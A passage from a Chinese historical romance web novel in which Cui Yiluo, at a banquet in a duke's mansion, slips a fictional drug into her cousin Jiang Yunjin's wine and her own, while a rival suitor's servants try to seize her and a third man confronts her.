崔宜萝不着痕迹地后退:“楚公子,我还有事要寻我表哥,怕是不方便。” 说这话时她暗暗留意四周,此处挨着国公府的花园,赏花交谈的人并不少,楚恪肯定不能在此处对她用强。 只见楚恪笑容玩味:“表哥?是明训吗?我与他也有几分交情,不如一道?” 崔宜萝心下冷笑一声,好整以暇地看他:“是大表哥。” 果不其然地,楚恪脸上神情登时僵住。他今岁进六部任官,与江昀谨有些公事上的交集,江昀谨性子古板无趣,又墨守陈规,有几回他不过是饮了些酒去务职,便被他敲打训斥。 此刻一听崔宜萝要去寻的是江昀谨,那点旖旎的心思散了个干净。 他追问道“你和他很熟?” 崔宜萝意味深长道:“大表哥对于后辈一向照拂。” 楚恪听得皱眉,怎么听这意思,江昀谨待这名义上的表妹还不错?那他今日这计划……不对,他可是楚家嫡子,到时生米煮成熟饭,江昀谨再如何,还能越过他父亲和姑母管到他身上来不成? 不过眼下天还亮着,也不宜行事,还是等她饮了那下药的酒,发了药再说。 楚恪当即决定先放崔宜萝一马:“崔姑娘快去吧,莫让令公等急了。” 崔宜萝将楚恪的神色变化尽收眼底,知晓即便有意误导他以为江昀谨与她熟稔,他也不会轻易放弃,金玉堆里养出的楚家长子竟就这么点出息,满脑子色欲。但她面上仍不显山不露水:“失陪。” 打发了楚恪,她看着又昏暗了一些的暮色,心中不由得烦躁起来。 她都快走遍大半个国公府了,还未见到江昀谨的身影。他该不会先回府了? 身后的荔兰也是犹豫道:“姑娘,要不……” 崔宜萝摇头,低声似在自我安抚:“还来得及。” 说罢,她转过一个拐角,眼前覆上人影,还未来得及反应,她径直与人撞了个迎面。 崔宜萝险些撞进来人怀里,脚步踉跄,她下意识地用力维持平衡,后退拉开距离。 手臂上传来一阵稳当力道,轻而易举就扶稳她的身子,熟悉的气息传来,崔宜萝顿住了步子。 神色在一瞬间变得柔婉,眼中惊魂未定地闪起水光:“表、表哥。” 江昀谨垂下眼帘看她,淡淡应了一声。 这是自上次寄雪斋后,崔宜萝第一次与他见面。他今日穿着霜雪色圆领锦袍,更衬俊美无俦的脸似冷玉雕琢,如往常一般,他神色平静,墨黑的眼眸望不到底,周身泛着清冷的疏离感,让人不敢靠近。 性如白玉烧犹冷,崔宜萝忽然想起从前读过的诗。 她目光飘向他眼下的乌青,在冷白皮肤上格外明显。 她声音轻柔:“表哥这几日很忙吗?” 眼下乌青重成这样,怕不是几日都未真正休息过,他对公务未免也太兢兢业业。 话音落下,只见他微怔一瞬。 许是没想到,在上次寄雪斋的事过后再见到他,她还如往常一样说话关心。 他轻轻道了声“尚可”,再没开口。 “表哥,”崔宜萝咬了咬唇,染上几分纠结:“上回的事,是宜萝鲁莽。表哥多次护我,我却那般不懂事。马上我便要出府嫁往程家了,这段时日多谢表哥照拂。” 她一番话说得动情真诚,发自肺腑。话毕后拿起身后荔兰端着的托盘中的酒樽,对向江昀谨:“日后若有能帮上表哥的地方,宜萝在所不辞。今日敬表哥一杯。” 江昀谨漆黑的眸看着她,眼神发暗幽邃,几息后,他到底没拒绝,回身去拿酒樽。 他的酒樽是空的,看上去根本未同人对饮过,带着酒壶只不过是遵循小宴礼节。 崔宜萝微微侧过头拿起酒壶,在江昀谨身后的闻风斟酒前,抢先一步将酒斟入江昀谨的酒樽中,动作行云流水。 哗啦水声轻响。 一气呵成斟完酒,她将酒壶放回托盘,面上笑容未变,轻松又坦荡,根本瞧不出一丝端倪。 “表哥,请。” 崔宜萝微扬酒樽,面前的人却未动,只是垂眼盯着杯中酒水,细长的睫遮住了眼,让人难以窥见他眼中情绪。 他该不会是看出来了?崔宜萝心口猛地一跳,捏着酒樽的手收紧。 但下一刻,男人拿起酒樽,尽数喝下,微仰头咽酒时颈间凸起的喉结滚动。 饮完,他看向崔宜萝,酒樽微微倾斜,给她展示他已饮尽,这是世家交际中的礼节。 方才她还在担心他看出端倪,可他真的利落饮下的这一刻,崔宜萝心却莫名更沉。 她再没回头路了。 江昀谨喝完,就轮到她了,她看着酒樽中澄澈剔透的酒液,眼底晦暗不明。 她掐了掐掌心,沉吸一口气,下定了决心般地缓缓端起酒杯,迅速仰头饮下。 崔宜萝不常饮酒,一饮下腹中便灼烧了起来,可面前的江昀谨却仍不动如山,她目光更沉了几分。 只一杯酒的药量,不会对他无用吧? 但事已至此,她只得继续实施下去。 “表哥,那我先走了。” 待会见。 江昀谨低低嗯了一声。 四散的天光昏黄,天色渐渐擦黑,郑国公府的仆从四散拿着蜡烛,一一将灯点起。 崔宜萝回到了亭中坐着,烛光照着她的侧脸,竟勾勒出几分凌厉来。 药性已有些起来了,她浑身开始发软,她看向荔兰。 荔兰会意,不动声色地挪到亭外,随后 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在四周彻底无人后,一个婢女从拐角转出,带着两个侍从拦住了去路。 婢女脸上挂着阴森的笑:“崔姑娘,我家公子有请。” 崔宜萝后退一步,却是无力,因药性而染着红晕的脸上露出惊慌:“你们要做什么?” 婢女神情骤然变得狠厉:“崔姑娘可别为难我们,我们也是听命办事,若姑娘不从,只好得罪了!” 说罢,身后两个雄健的仆从立刻阻住了崔宜萝的退路,伸出手就要来强行抓她。 就要挨到她的那一瞬间,两人不约而同地发出一声痛呼。 “啊——” 一道玄色身影闪出。 却是元凌。 崔宜萝踉跄后退几步,支撑不住地撞到身后的石墙上,扶着石墙堪堪站稳,随着动作,腹中裹起一团火直冲而上,眼前变得有些模糊。 她没想到自己对迷仙引会如此敏感,药效竟比常人发作要快。 元凌身姿敏捷,轻盈又有力,瞬间制服了两个仆从,两人摔在地上,手忙脚乱爬起来,同方才为首的婢女落荒而逃。 元凌这才转身看向扶着墙呼吸急促的崔宜萝。 崔宜萝眼尾已染上洇红,眸中溢起了薄薄一层水雾,勉力不让自己弓着身子,神色嘲讽道: “元大人跟踪我?” 元凌仿佛觉得眼前情景有趣极了,喟叹道:“你脸色不对,且一向防备心很重的你竟丢弃婢女独自往后林走,行迹诡异,就跟了上来,果真没让我失望啊,崔姑娘。” 他极有兴致地睨向崔宜萝:“他们给你下药了?”说着,眸光闪过一丝锐利:“还是,你自己下的?” 崔宜萝抑制着急促的气息,语气却冰冷:“与你无关。” 元凌走近几步,笑容似是挑衅:“没想到你对自己也能这么狠,这次又是为了什么?” 崔宜萝咬唇压抑翻涌的药性,看着他的目光如冰刃锋锐。 “可是崔姑娘,要是药性不解,你今日就要死在这了,赔了夫人又折兵,这可如何是好?”元凌阴戾的面容闪过几分玩味:“不如,你求求我帮你?” 元凌步步走近,身影逐渐将她覆在阴暗中。 崔宜萝死死瞪着他,手指用力掐入掌心抵抗着汹涌而上的药性,唇瓣被咬得几欲出血。 眼前景象却不受她控制地变得更加模糊。 “姑娘!” 荔兰声音传来的那一刻,崔宜萝掌心微松。 只见荔兰身后,颀长身影大半陷在阴影中,昏暗石灯将男人凌厉的侧脸打在墙上,他气息微乱,不知是因仓促前来,还是药性发作。 几乎是转瞬,她神色一软,眉眼染上委屈无措,脚步踉跄地冲上前撞进江昀谨怀中,像是卯足了浑身最后一丝力气。 “表哥,救救我。”